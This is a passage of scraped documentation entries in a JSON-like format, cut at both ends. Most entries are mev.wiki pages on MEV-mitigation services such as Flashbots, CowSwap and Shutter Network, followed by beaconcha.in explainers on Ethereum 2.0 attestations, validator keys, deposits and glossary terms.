Minimization Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "BackRunMe by bloXroute", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/backrunme-by-bloxroute", "body": "BackRunMe by bloXroute BackRunMe by bloXroute BackRunMe is a service that allows users to submit private transactions (e.g. protection against frontrunning and sandwich attacks) while allowing searchers to backrun the transaction via MEV IF it produces an arbitrage profit. If it doesn't generate an arbitrage profit it is processed as a regular private transaction. BackRunMe, gives a portion of this additional profit back to the user. How BackRunMe works. The profit sharing ratio is as follows: 50% to miners, 25% to users, 20%to searchers and 5% to bloXroute. Users can use MetaMask directly on BackRunMe to trade on Uniswap or Sushiswap. Links: https://backrunme.com/#/swap https://medium.com/bloxroute/there-is-light-in-the-dark-forest-2d7b77f4ca2d Previous Private Transactions Next Flashbots Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Flashbots", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/flashbots", "body": "Flashbots Flashbots Flashbots is a research and development organization formed to mitigate the negative externalities and existential risks posed by MEV. They aim to Democratize MEV Extraction through MEV-Geth, which enables a sealed-bid block space auction mechanism for communicating transaction order preference. ELI5 Link: https://twitter.com/_silto_/status/1381292907567722498 Flashbots created an ETH node for miners, that not only watches the mempool like any other node, but also connects to a relayer (a server) operated by Flashbots. This MEV-Relay is a kind of parallel channel that directly connects miners to bots that want their transactions included. The transactions that the bots want to include are sent through the MEV-Relay as bundles containing: the transactions to execute a tip to the miner, coming as an ETH transfer These transactions use a 0 gwei gas price, as the payment to the miner is included in the transaction itself as the tip. Since these transactions are sent through a parallel private relay, it reduces the mempool bidding war, failed transactions bloating the blockchain, and overall gas cost for users. Links: GitHub: https://github.com/flashbots Research: https://github.com/flashbots/mev-research Monthly Meetings: https://github.com/flashbots/pm API: https://blocks.flashbots.net/ Discord: https://discord.gg/7hvTycdNcK Medium: https://medium.com/flashbots https://medium.com/flashbots/frontrunning-the-mev-crisis-40629a613752 https://medium.com/flashbots/quantifying-mev-introducing-mev-explore-v0-5ccbee0f6d02 https://ethresear.ch/t/flashbots-frontrunning-the-mev-crisis/8251 Previous BackRunMe by bloXroute Next mistX by alchemist Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "KeeperDAO", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/keeperdao", "body": "KeeperDAO KeeperDAO KeeperDAO is similar to a mining pool for Keepers. By incentivizing a game theory optimal strategy for cooperation among on-chain arbitrageurs, KeeperDAO provides an efficient mechanism for large scale arbitrage and liquidation trades on all DeFi protocols. The Hiding Game One of the 3 games that has been built. The Hiding Game refers to the cooperation between users and keepers to hide MEV by wrapping trades/debt in specialised on-chain contracts. These contracts restrict profit extracting opportunities to KeeperDAO itself. Here's the ELI5 Users route their trades and loans through KeeperDAO, which attempts to extract any arbitrage or liquidation profit available. Those profits are returned back to the user in $ROOK tokens, and profits go into a pool controlled by $ROOK holders. By giving KeeperDAO priority access to arbitrage and liquidations, the Hiding Game maximizes the profits available from these opportunities. kCompound (Phase 2 of the Hiding Game) kCompound is the second phase of the Hiding Game. KeeperDAO posts collateral to save your position from being publicly liquidated. Instead, you get privately liquidated. KeeperDAO keeper will then find the best price for your collateral, targeting a 5% profit margin. This profit will then be split between you, the keeper, and the KeeperDAO treasury, meaning that kCompound borrowers will receive a portion of the profits from their own liquidation. Links: Website: https://keeperdao.com/#/ Wiki: https://github.com/keeperdao/docs/wiki kCompound: https://medium.com/keeperdao/introducing-kcompound-a23511c847a0 Previous mistX by alchemist Next EDEN Network (ArcherSwap) Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "MiningDAO", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/miningdao", "body": "MiningDAO MiningDAO MiningDAO is building a decentralized and transparent protocol for block formation that aims to pass 100% of MEV to miners. Anyone with an Ethereum address can propose the next block to be mined (via a block sealhash), and attach a bounty for successfully mining it. The mining pools would then mine on the highest-bounty proposal. One is for searchers to submit Flashbots-compatible bundles. The other is the Archer Relay Network (powers Archerswap) where users can submit private transactions and be protected from malicious MEV. Links: Website: https://miningdao.io Medium: https://medium.com/mining-dao/introducing-miningdao-1e469626f7ad Previous Optimism Next BackBone Cabal Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "mistX by alchemist", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/mistx-by-alchemist", "body": "mistX by alchemist MistX by alchemist mistX is a DEX that enables end users to send transactions through Flashbots bundles. All transactions are gasless. However, instead of paying gas to the miners mistX users pay miners a bribe/tip in ETH. The tip is either included in the trade or comes from the user's wallet. The exchange utilises Flashbots and as such transactions processed via mistX do not publish user transaction information to a public mempool, but instead bundle transactions together. This hides the information from front-runners and thus prevents transactions from being manipulated, front-run, or sandwiched. Link: https://app.mistx.io/#/exchange Previous Flashbots Next KeeperDAO Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Optimism", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/optimism", "body": "Optimism Optimism Optimism are the original proposers of MEVA. MEV Auction (MEVA) is created in which the winner of the auction has the right to reorder submitted transactions and insert their own, as long as they do not delay any specific transaction by more than N blocks. MEVA on Ethereum Implementing the Auction The auction is able to extract MEV from miners by separating two functions 1) Transaction inclusion; and 2) transaction ordering. In order to implement MEVA roles are defined. Block producers determine transaction inclusion, and Sequencers determine transaction ordering. Block producers - Transaction Inclusion Block proposers are most analogous to traditional blockchain miners. Instead of proposing blocks with an ordering, they simply propose a set of transactions to eventually be included before N blocks. Sequencers - Transaction Ordering Sequencers are elected by a smart contract managed auction run by the block producers called the MEVA contract. This auction assigns the right to sequence the last N transactions. If, within a timeout the sequencer has not submitted an ordering which is included by block proposers, a new sequencer is elected. Implementation on Layer 2 It is possible to enshrine this MEVA contract directly on layer 1 (L1) blockchain consensus protocols. However, it is also possible to non-invasively add this mechanism in layer 2 (L2) and use it to manage Optimistic Rollup transactio ordering. In L2, L1 miners are repurposed and utilized as block proposers. MEVA contract is implemented and designated a single sequencer at a time. Links: https://optimism.io/ https://ethresear.ch/t/mev-auction-auctioning-transaction-ordering-rights-as-a-solution-to-miner-extractable-value/6788 https://docs.google.com/presentation/d/1RaF1byflrLF3yUjd-5vXDZB1ZIRofVeK3JYVD6NPr30/edit#slide=id.gc9bdacc472_0_96 Previous EDEN Network (ArcherSwap) Next MiningDAO Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Private Transactions", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/private-transactions", "body": "Private Transactions Private Transactions Typically, transactions are broadcast to the mempool where they remain pending until miners pick them and add to the block. Private transactions however, are only visible to the pool and are not broadcast to other nodes (pay more for faster transactions). Examples include 1inch Exchange's Stealth Transactions , Taichi Network and BloXroute . Taichi Network allows users to send private transactions directly to Sparkpool, bypassing the public mempool. Private Transactions offered by Taichi Network bloXroute Labs has a wide range of offerings and their core competency is low global latency for DeFi (8% of blocks mined within 1 sec). For the other side of the coin, here is bloXroute Labs' take on why private mempools are not necessarily bad : 1. Front-runners don't need these services to outpace regular users, who are slower by seconds. They need it to outpace one another, where improving speed 0.8->0.15 sec matters. 2. When a transaction is privately sent to pools other frontrunners can't attempt to front-run it. This helps avoid fierce escalation of fees. Link: https://docs.bloxroute.com/apis/frontrunning-protection Previous Front-running as a Service (FaaS) or MEV Auctions (MEVA) Next BackRunMe by bloXroute Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Arbitrum (Offchain Labs)", "html_url": "https://www.mev.wiki/solutions/mev-minimization/arbitrum-offchain-labs", "body": "Arbitrum (Offchain Labs) Arbitrum by Offchain Labs Arbitrum is against MEVA and FaaS. 3 Modes of Arbitrum: 1. Single Sequencer: L2 MEV-Potential ( Mainnet Beta ) For Arbitrums initial, flagship Mainnet beta release, the Sequencer will be controlled by a single entity. This entity has transaction ordering rights within the narrow / 15 minute window; users are trusting the Sequencer not to frontrun them. 2. Distributed Sequencer With Fair Ordering: L2-MEV-minimized ( Mainnet Final Form ) The Arbitrum flagship chain will eventually have a distributed set of independent parties controlling the Sequencer. They will collectively propose state updates via the first BFT algorithm that enforces fair ordering within consensus (Aequitas) . Here, L2 MEV is only possible if >1/3 of the sequencing-parties maliciously collude, hence MEV-minimized. 3. No Sequencer: No L2 MEV A chain can be created in which no permissioned entities have Sequencing rights. Ordering is determined entirely by the Inbox contract; lose the ability to get lower latency than L1, but gain is that no party involved in L2, including Arbitrum validators, has any say in transaction ordering, and thus no L2 MEV enters the picture. Links: Website: https://offchainlabs.com/ Medium: https://medium.com/offchainlabs/front-running-as-a-service-334c929c945 Document: https://docs.google.com/document/d/1VOACGgTR84XWm5lH5Bki2nBcImi3lVRe2tYxf5F6XbA/edit Previous Fair sequencing service (Chainlink) Next Vega protocol Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Conveyor (Automata Network)", "html_url": "https://www.mev.wiki/solutions/mev-minimization/conveyor-automata-network", "body": "Conveyor (Automata Network) Conveyor - The Automata Network approach to tackling MEV At Automata, we have created Conveyor , a service that ingests and outputs transactions in a determined order. This creates a front-running-free zone that removes the chaos of transaction reordering. When transactions are fed into Conveyor, it determines the order of the incoming transactions and makes it impossible for block producers to perform the following: 1. Inject new transactions into the Conveyor output: The inserted transactions bypassing Conveyor is detectable by anyone because of signature mismatch. 2. Delete ordered transactions: Transactions accepted by Conveyor are broadcasted everywhere so transactions cannot be deleted unless ALL block producers are colluding and censoring the transactions at the same time. From the DEXs perspective, they can choose to accept either 1. Ordered transactions from Automatas Conveyor which is free from transaction reordering and other front-running transactions 2. Other unordered transactions (which include front-running etc) that may negatively impact their users Why should users trust Conveyor? Automatas Conveyor runs on a decentralized compute plane backed by many Geode instances. Each Geode instance can be attested so anyone can publicly verify that the Geode is running on a system with genuine hardware (i.e., CPU) and that the Geode application code matches the version that is open-sourced and audited. This provides a strong guarantee that: The Geode code is untampered with The Geode data is inaccessible to even Geode providers (In which case they cannot act on said data to front-run transactions) Importantly, Automatas Conveyor is a chain-agnostic solution to the MEV issue, and works seamlessly on various platforms zero modifications needed. An industry-first: Oblivious RAM In fully public computation, access pattern leakage is not negligible as everything is exposed. But in privacy-preserving computation, any tiny bit of information leakage becomes a significant issue. Studies have shown that access pattern leakage leads to exposure of sensitive information such as private keys from searchable encryption and trusted computing. This is where the Oblivious RAM algorithm comes into play. Automatas implementation is the first-of-its-kind in the blockchain industry, providing an exceedingly high degree of privacy in dApps. This greatly reduces the probability of user privacy being leaked even as access patterns are being monitored and analyzed by malicious actors. The Automata team has authored multiple research papers on state-of-the-art ORAM and hardware technologies to enhance the privacy and performance of existing networks. Robust P2P Primitives Using SGX Enclaves RAID 2020 PRO-ORAM: Practical Read-Only Oblivious RAM RAID 2019 OblivP2P: An Oblivious Peer-to-Peer Content Sharing System USENIX Security 2016 Preventing Page Faults from Telling Your Secrets Asia CCS 2016 Official Links Website: https://ata.network/ Whitepaper: https://xata.to/lightpaper GitHub: https://xata.to/github Documentation: https://docs.ata.network/ Ambassador program form: https://xata.to/ambassadors FAQ: https://xata.to/faq Official Socials Telegram Annoucement Channel: https://t.me/ata_announcement Telegram Chat Group: https://xata.to/telegram Twitter: https://xata.to/twitter Discord: https://xata.to/discord Medium: https://xata.to/medium Community Links Korea (Telegram): https://t.me/atanetworkkorea Spain (Telegram): https://t.me/atanetworkspanish Sri Lanka (Telegram): https://t.me/atanetworksinhala Russian (Telegram): https://t.me/atanetworkrussia Malay-Indonesian (Telegram): https://t.me/atanetworkmalaysia Other useful links MEV Checkup Tool: https://mev.tax/ Coinmarketcap article: https://xata.to/vxa Binance research report: https://xata.to/br Binance launchpool annoucement: https://xata.to/186e34 Previous MEV Minimization Next SecretSwap (Secret Network) Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "CowSwap", "html_url": "https://www.mev.wiki/solutions/mev-minimization/cowswap", "body": "CowSwap CowSwap A collaboration between BalancerLabs and Gnosis, CowSwap is a DEX that leverages batch auctions to provide MEV protection, plus integrate with liquidity sources across DEXs to offer traders the best prices. When two traders each hold an asset the other wants, an order can be settled directly between them without an external market maker or liquidity provider. Any excess is settled in the same transaction with the best available AMM. The transaction is sent by professional solvers which set tight slippage bounds. Solvers compete with each other to achieve best prices for the user. Links: Website: https://cowswap.exchange/#/swap Blog: https://blog.gnosis.pm/introducing-gnosis-protocol-v2-and-balancer-gnosis-protocol-f693b2938ae4 Previous Vega protocol Next Veedo (StarkWare) Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Fair sequencing service (Chainlink)", "html_url": "https://www.mev.wiki/solutions/mev-minimization/fair-sequencing-service-chainlink", "body": "Fair sequencing service (Chainlink) The Fair Sequencing Service by ChainLink The idea behind FSS is to have an oracle network order the transactions sent to a particular contract SC, including both user transactions and oracle reports. Oracle nodes ingest transactions and then reach consensus on their ordering, rather than allowing a single leader to dictate it. FSS is a framework for implementing ordering policies, of which Aequitas (protocol for order-fairness in addition to consistency and liveness) is one example. It can alternatively support simpler approaches, such as straightforward encryption of transactions, which can then be decrypted in a threshold manner by oracle nodes after ordering. It will also support various policies for inserting oracle reports into a stream of transactions. (It can even support MEV auctions, if desired.) Links: Blog post: https://blog.chain.link/chainlink-fair-sequencing-services-enabling-a-provably-fair-defi-ecosystem/ Whitepaper (to be released later) Previous SecretSwap (Secret Network) Next Arbitrum (Offchain Labs) Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "LibSubmarine", "html_url": "https://www.mev.wiki/solutions/mev-minimization/libsubmarine", "body": "LibSubmarine LibSubmarine LibSubmarine is an open-source smart contract library that protects your contract against front-runners by temporarily hiding transactions on-chain. Links: Website: https://libsubmarine.org/ Video: https://www.youtube.com/watch?v=N8PDKoptmPs&feature=emb_imp_woyt&ab_channel=IC3InitiativeforCryptocurrenciesandContracts GitHub: https://github.com/lorenzb/libsubmarine Previous Veedo (StarkWare) Next Sikka Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "SecretSwap (Secret Network)", "html_url": "https://www.mev.wiki/solutions/mev-minimization/secretswap-secret-network", "body": "SecretSwap (Secret Network) Secret Swap Secret Swap is an automated market maker (AMM) liquidity protocol. There is no orderbook, no centralized party, and no central facilitator of trade. Using Secret Contracts, the mempool of potential Secret Swap transactions are kept entirely encrypted - protecting users from MEV, front-running attacks and providing an increased level of privacy compared to traditional AMMs. The protocol uses swap secret contract based tokens (SNIP-20s) on Secret Network. Given the encrypted nature of SNIP-20s secret contracts, inputs to a transaction/contract are encrypted while they are on the mempool and cannot be front-run by any adversary. Users will have to pay for gas and 0.3% swap fees with the $SCRT token to use Secret Swap. Links: Website: https://www.secretswap.io Analytics: http://secretanalytics.xyz Documentation: https://docs.secretswap.io/secretswap Previous Conveyor (Automata Network) Next Fair sequencing service (Chainlink) Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Shutter Network", "html_url": "https://www.mev.wiki/solutions/mev-minimization/shutter-network", "body": "Shutter Network Shutter Network Shutter Network is an open-source project that aims to prevent frontrunning and malicious MEV on Ethereum by using a threshold cryptography-based distributed key generation (DKG) protocol. A Shutter transaction is a transaction protected from frontrunning in the target smart contract system. It therefore passes through a sequence of stages before it is executed. A Shutter transaction flow: 1. Created and encrypted in the user's wallet; 2. Sent to the batcher contract as a standard Ethereum transaction; 3. Picked up and decrypted by the keypers; 4. Sent to the executor contract, and 5. Forwarded to the target contract. Links: Website: https://shutter.ghost.io/ GitHub: https://github.com/brainbot-com/shutter Previous Sikka Next Other solutions Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Sikka", "html_url": "https://www.mev.wiki/solutions/mev-minimization/sikka", "body": "Sikka Sikka Sikka's MEV solution to censorship and frontrunning problems is using a technique called Threshold Decryption, as a plugin to the Tendermint Core BFT consensus engine to create mempool level privacy. With this plugin, users are able to submit encrypted transactions to the blockchain, which are only decrypted and executed after being committed to a block by a quorum of 2/3 validators. Links: Website: https://sikka.tech/ Presentation: https://docs.google.com/presentation/d/1tQEUpZjy_U9J-VQAx1Wf5W9oOX5rrCY3AwjAb7ZgA68/edit#slide=id.p Previous LibSubmarine Next Shutter Network Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Veedo (StarkWare)", "html_url": "https://www.mev.wiki/solutions/mev-minimization/veedo-starkware", "body": "Veedo (StarkWare) Veedo by StarkWare VeeDo is StarkWares STARK-based Verifiable Delay Function (VDF), and its PoC is now live on Mainnet. VeeDo's time-locks allow information to be sealed for a predetermined period of time (during the sequencing phase), and then made public. 2 approaches using privacy to minimize MEV 1. Time-locks as part of the protocol layer 2. Time-locks on Ethereum with smart contracts - supported today Links: Website: https://starkware.co/ Medium: https://medium.com/starkware/presenting-veedo-e4bbff77c7ae Presentation: https://docs.google.com/presentation/d/1C_Rb_rtUXT2Nkettu_GPSlD9yCge8ioBNLRj5OBNbyY/edit#slide=id.gb576f94980_0_836 Previous CowSwap Next LibSubmarine Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Vega protocol", "html_url": "https://www.mev.wiki/solutions/mev-minimization/vega-protocol", "body": "Vega protocol Vega Protocol Traditionally, fairness in a blockchain has been defined in absolute terms, i.e. once a transaction is seen by a sufficient number of validators, it will be executed in some block, soon. Vega's proposal is to add a module to blockchains that supports the concept of relative fairness so that competing transactions may be sequenced under a known and understood protocol, and not subject to a validators discretion. \" If there is a time t such that all honest validators saw a before t and b after t, then a must be scheduled before b. This is a property that can be assured of at any time with a minimal impact on performance. To get the best combination, their current approach is a hybrid of the two. In normal operation, the protocol will assure block fairness. If the network detects that this causes a bottleneck, it temporarily switches to the timed approach (thus sacrificing a little fairness for performance), before switching back once the bottleneck is resolved. However, Vega will ultimately make the level of fairness customisable by market. Links: Website: https://vega.xyz/ Blog: https://blog.vega.xyz/new-paper-fairness-and-front-running-an-invitation-for-feedback-cbb39a1a3eb Wendy, the Good Little Fairness Widget: https://vega.xyz/papers/fairness.pdf Video: https://www.youtube.com/watch?v=KjfLj5fhkGQ&t=18s&ab_channel=VegaProtocol Previous Arbitrum (Offchain Labs) Next CowSwap Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "B.Protocol", "html_url": "https://www.mev.wiki/solutions/others/b.protocol", "body": "B.Protocol B.Protocol B.Protocol aims to shift MEV to users. Users interact with existing lending platforms via B.Protocol smart contract. Liquidity providers (LP) provide a cushion to user debt, which gives B.Protocol precedence over other liquidators. LPs share their profits with the users, where user reward is proportional to his user rating. Links: Website: https://www.bprotocol.org/ Presentation: https://docs.google.com/presentation/d/13UNysGCX9ZJG20lKaxr_qbhgKwcuHACdwlhGNKtzGt4/edit Previous Other solutions Next Miscellaneous Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Overview", "html_url": "https://kb.beaconcha.in/", "body": "Overview Next Glossary Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "Attestation", "html_url": "https://kb.beaconcha.in/attestation", "body": "Attestation An overview of attestations Attestation Every Epoch (~6.4 minutes) a validator proposes an attestation (vote) to the network. This vote consists of the following segments: Committee Validator Index Finality vote Signature Chain head vote (vote on what the validator believes is the head of the chain) A minimum of 16,384 validators is required to start Ethereum 2.0. If we multiply that with the information included in each Attestation per Epoch, it adds up quickly. Therefore, Ethereum 2.0 aggregates all of that information and minimises the data growth. Aggregated Attestation An aggregation is a collection, or the gathering of things together. Your baseball card collection might represent the aggregation of lots of different types of cards. So what does that mean for Attestations? Each block one or more committees are chosen to attest. A committee has a minimum of 128 validators, of which 16 are randomly selected to become an aggregator. As shown below, the validators broadcast their unaggregated attestation to the aggregators (red arrow). The aggregators then merge the attestations and forward a single aggregated attestation to the block proposer . Attestation Inclusion Lifecycle 1. Generation 2. Propagation 3. Aggregation 4. Propagation 5. Inclusion Rewards The attestation reward is dependent on two variables, the base reward and the inclusion delay. The best case for the inclusion delay is to be 1. Source: ConsenSys Codefi Analysis Base reward ( Validator effective balance * 2**6 ) / SQRT( Effective balance of all active validators ) Inclusion delay At the time when the validators voted on the head of the chain (Block 0), Block 1 was not proposed yet. Therefore attestations naturally get included one block later; so all attestations who voted on Block 0 being the chain head got included in Block 1 and, the inclusion delay is 1. The effects of the inclusion delay on the attestation reward As shown below, an Inclusion delay of 2 causes the the reward to drop by 50%. Source: Consensys A ttestation scenarios Missing Voting Validator These validators have a maximum of 1 epoch to submit their attestation. If the attestation was missed in epoch 0, they can submit it with an inclusion delay in epoch 1. Missing Aggregator There are 16 Aggregators per epoch in total, additionally, random validators from the beacon-chain subscribe to two subnets for 256 Epochs and serve as a backup in case aggregators are missing. Missing block proposer Note that in some cases a lucky aggregator may also become the block proposer. If the attestation was not included because the block proposer has gone missing, the next block proposer would pick the aggregated attestation up and include it into the next block. However, the inclusion delay will increase by one. Credits Attestation effectiveness - AttestantIO Attestation Inclusion - Adrian Sutton (Consensys) Previous Deposit Process Next Rewards and Penalties Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "Ethereum 2.0 Keys", "html_url": "https://kb.beaconcha.in/ethereum-2-keys", "body": "Ethereum 2.0 Keys Extended overview of Ethereum 2.0 Keys Ethereum 2.0 Key overview General Both of these keys (ETH 1.0 and ETH 2.0) are based on the same idea and use elliptic-curve cryptography to create keys. However, Ethereum 2.0 has additional functionality, and its keys require different parameters when creating them, and use the B oneh- L ynn- S hacham (= BLS ) signature scheme. Ethereum 2 Keys Compared to Ethereum 1.0, where users only have a single private key to access their funds, Ethereum 2.0 offers two different keys. The validator private key and the withdrawal private key. The validator key As seen in the cutout below the validator signing key consists of two elements: Validator private key Validator public key The purpose of the validator private key is to actively sign on-chain (ETH2) operations such as block proposals and attestations. Therefore these keys have to be held in a hot wallet. This flexibility has the advantage to move validator signing keys very quickly from one device to another, however, if they have gotten lost or stolen, the thief has the ability to act maliciously in two ways: Get the validator slashed by: Being a proposer and sign two different beacon blocks for the same slot Being an attester and sign an attestation that \"surrounds\" another one. Being an attester and sign two different attestations having the same target. Force a voluntary exit , which stops the validator from \"staking\", and grants access to its ETH balance to the withdrawal key owner. The validator public key is included in the deposit data which allows ETH2 to identify the validator. The withdrawal key The withdrawal key is required to move the validator balance once it is possible in Phase1/2 . Just like the validator keys, the withdrawal keys also consist of two components: Withdrawal private key Withdrawal public key Losing this key means losing access to the validator balance. However, the validator can still sign attestations and blocks since these actions require the validator private key, but there is little to no incentive to do so if the keys are lost. To withdraw, the validator status needs to be \" exited \". Multiple validators from a single wallet Each validator has their own unique deposit data by which they are identified by the beaconchain . Four keys for one validator . Q: How can I re-deposit to my validator balance? (e.g. Effective balance has dropped) A: Send another transaction (>=1ETH) to the deposit contract with the validator specific deposit data as the transaction input. After the first deposit-transaction, the unique deposit data is stored on the blockchain and can be found on various explorers. Note: The deposit contract requires about 150,000 gas limit. Mnemonics for ETH2.0 validators Over the last few years, we have become so accustomed to the 12 or 24 word-system . Why do we take steps back again and make our lives more complicated and more insecure with locally stored keys? Known hardware wallets will not be able to support ETH2.0 key generation until the BLS library gets audited. EIP-2333 and EIP-2334 offer a solution but yet need to be implemented. With all this knowledge, we can assume that the known Mnemonics will not be accessible from day one of Phase 0. How does it work? Mnemonics and paths are a known feature and usually found when users try to access their hardware wallets. \"Old ETH 1.0\" path structure and example: m/44'/60'/0'/0 m / purpose' / coin_type' / account' / change / address_index The same logic applies to ETH2.0 Keys, just with different parameters. There is a single \"master key\" (=Mnemonic phrase) which allows the user to attach as many validators to a single withdrawal key as they want. This way the user can derive all keys from the Mnemonic phrase. A simplified overview would look like the following: Source: Carl Beekhuizen Credits: Nishant Das for fact-checking Previous Port Forwarding Next The Genesis Event Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "Deposit Process", "html_url": "https://kb.beaconcha.in/ethereum-2.0-depositing", "body": "Deposit Process This post will explain the depositing process and each of the phases. Before we start, to understand the basic idea of how Ethereum 2.0 keys work, the Ethereum 2.0 Keys blog is highly recommended. The deposit contract Let's go through each of the states above and explain how their durations are approximately determined. 1. Mempool - Status: Unknown Every signed transaction visits the Mempool first, which can be referred to as the waiting room for transactions. During this period, the transaction status is pending . Depending on the chosen gas fee for the transaction, miners pick the ones that return them the most value first. If the network is highly congested (=many pending transactions), there's a high chance that new transactions will outbid(gas fees) older transactions, leading to unknown waiting times. 2. Deposit contract - Status: Deposited Once the transaction reaches the deposit contract, the deposit contract checks the transaction for its Input data and value. If the threshold of 1 ETH is not met or the transaction has no/invalid input data, the transaction will get rejected and returned to the sender. The user-created input data is a reflection of the upcoming validator and withdrawal keys on the Ethereum 2.0 network as seen in the picture below. The full Ethereum 2.0 keys blog is here . Why exactly does this take at least 13.6 hours? The Ethereum 2.0 chain only considers transactions which have been in the deposit contract for at least 2048 Ethereum 1.0 blocks to ensure they never end up in a reorged block. (= ETH1_FOLLOW_DISTANCE ) In addition to the 2048 Ethereum 1.0 blocks, 64 Ethereum 2.0 Epochs ****must be**** awaited before the beacon-chain recognises the deposit. During these 64 Epochs, validators vote on newly received deposits. However, missed block proposals or bad Ethereum 1.0 nodes, which provide the deposit logs to the Ethereum 2.0 network can cause longer waiting times. Therefore, run your own node ! 2048 blocks = 2048 x 12 seconds = 24,576 seconds = 409.6 minutes = ~6.82 hours 64 Epochs = 64 x 6.4 minutes = 409.6 minutes = ~6.82 hours Once the deposit is in the deposit contract, the state of the validator will switch to Deposited on the beaconcha.in explorer. Rejected Deposit Rejected Transaction 3. Validator Queue - Status: Pending The deposit is accessible now for the beacon-chain. Depending on the amount of total deposits, the validators have to wait in a queue. Eight validators per Epoch ( 1800 validators per day) can get activated. 4. Staking - Status: Active The validator is now actively staking. It is proposing blocks and signing attestations - ready to earn ETH! Other validator status Deposit Invalid The transaction had an invalid BLS signature. Active Offline An active validator has not been attesting for at least two epochs. Exiting Online The validator is online and currently exiting the network because either its balance dropped below 16ETH (forced exit) or the exit was requested (voluntary exit) by the validator. Exiting Offline The validator is offline and currently exiting the network because either its balance dropped below 16ETH or the exit was requested by the validator. Slashing Online The validator is online but was malicious and therefore forced to exit the network. Slashing Offline The validator is offline and was malicious and which lead to a forced to exit out of the network. The validator is currently in the exiting queue with a minimum of 25 minutes. Slashed The validator has been kicked out of the network. The funds will be withdrawable after 36 days. Exited The validator has exited the network. The funds will be withdrawable after 1 day. Previous The Genesis Event Next Attestation Last modified 4mo ago", "labels": ["Documentation"]}, {"title": "Glossary", "html_url": "https://kb.beaconcha.in/glossary", "body": "Glossary Beacon-chain It introduces Proof of stake to Ethereum1 and runs along it. Its also called the coordination layer. Roles : Assign validators their duties Finalize checkpoints Perform a protocol level random number generation (RNG) Progress the beacon chain Vote on the head of the chain for the fork choice source Slots 32 Slots = 1 Epoch A time period of 12 seconds in which a randomly chosen validator has time to propose a block. Each slot may or may not have a block in it. The total number of validators is split up in committees and one or more individual committees are responsible to attest to each slot. One validator from the committee will be chosen to be the aggregator, while the other 127 validators are attesting. After each Epoch, the validators are mixed and merged to new committees. There is a minimum of 128 validators per committee. image source Epoch 1 Epoch = 32 Slots Represents the number of 32 slots and takes approximately 6.4 minutes. Epochs play an important role when it comes to the validator queue and finality . Deposit contract The Deposit contract is the gateway to Ethereum 2.0 through a smart contract on Ethereum 1.0. The smart contract accepts any transaction with a minimum amount of 1 ETH and a valid input data. Ethereum 2.0 beacon-nodes listen to the deposit contract and use the input data to credit each validator. More infos the Deposit Contract Input Data The Input data, also called the deposit data , is a user generated, 842 long sequence of characters. It represents the validator public key and the withdrawal public key , which were signed with by the validator private key. The input data needs to be added to the transaction to the deposit contract in order to get identified by the beacon-chain . More infos about the Deposit process. Validator Validators need to deposit 32 ETH into the validator deposit contract on the Ethereum 1.0 chain. Validator operators have to run a validator node. Its job is to propose blocks and sign attestations. A validator has to be online for at least 50% of the time in order to have positive returns. Eligible for activation & Estimated activation Refers to pending validators. The deposit has been recognized by the ETH2 chain at the timestamp of Eligible for activation. If there is a queue of pending validators , an estimated timestamp for activation is calculated. Unique Index Every validator receives its unique index. beaconcha.in . Current Balance & Effective Balance The current balance is the amount of ETH held by the validator as of now. The effective Balance represents a value calculated by the current balance. It is used to determine the size of a reward or penalty a validator receives. The effective balance can **never be higher than 32 ETH. In order to increase the effective balance, the validator requires effective balance + 1.25 ETH.** In other words, if the effective balance is 20 ETH, a current balance of 21.25 ETH is required in order to have an effective balance of 21 ETH. The effective balance will adjust once it drops by 0.25 below the threshold as seen in the examples above. Here are examples on how the effective balance changes If the Current balance is 32.00 ETH the Effective balance is 32.00 ETH If the Current balance dropped from 22 ETH to 21.76 ETH Effective balance will be 22.00 ETH If the Current balance increases to 22.25 and the effective balance is 21 ETH, the effective balance will increase to 22 ETH Slasher The slasher is its own entity but requires a beacon-node to receive attestations . To find malicious activity by validators, the slashers iterates through all received attestations until a slashable offense has been found. Found slashings are broadcasted to the network and the next block proposer adds the proof to the block. The block proposer receives a reward for slashing the malicious validator. However, the whistleblower (=Slasher) does not receive a reward. Slashable offenses Attestation violation Double voting An attester signs two different attestations in one epoch. Surround votes An attester and sign an attestation that surrounds another one. Proposer violation Double block proposal A block proposer signs two different blocks for the same slot. Attestation Votes by validators which confirm the validity of a block. (=Attester) Block proposer A chosen validator by the beacon chain to propose the next block. There can only be one valid block per slot . Block status Proposed The block passed and was proposed by a validator. Scheduled Validators are currently submitting data. Missed/Skipped The proposer didnt propose the block within the given time frame, so the block was missed/skipped. Orphaned In order to understand this, let us look at the diagram below \"1, 2, 3, ... ,9\" represent the slots. 1. Validator at slot 1 proposes the block a. 2. Validator at slot 2 proposes b. 3. Slot 4 is being skipped because the validator didnt propose a block (e.g.: offline). 4. At slot 5/6 a fork occurs: Validator(5) proposes a block, but validator(6) doesnt receive this data (e.g.: the block didnt reach them fast enough). Therefore Validator(6) proposes its block with the most recent information it sees from validator(3). 5. The fork choice rule is the key here - It decides which of the available chains is the canonical one. Validator Lifecycle 1. Deposited 32 ETH has been deposited to the ETH1 deposit-contract and this 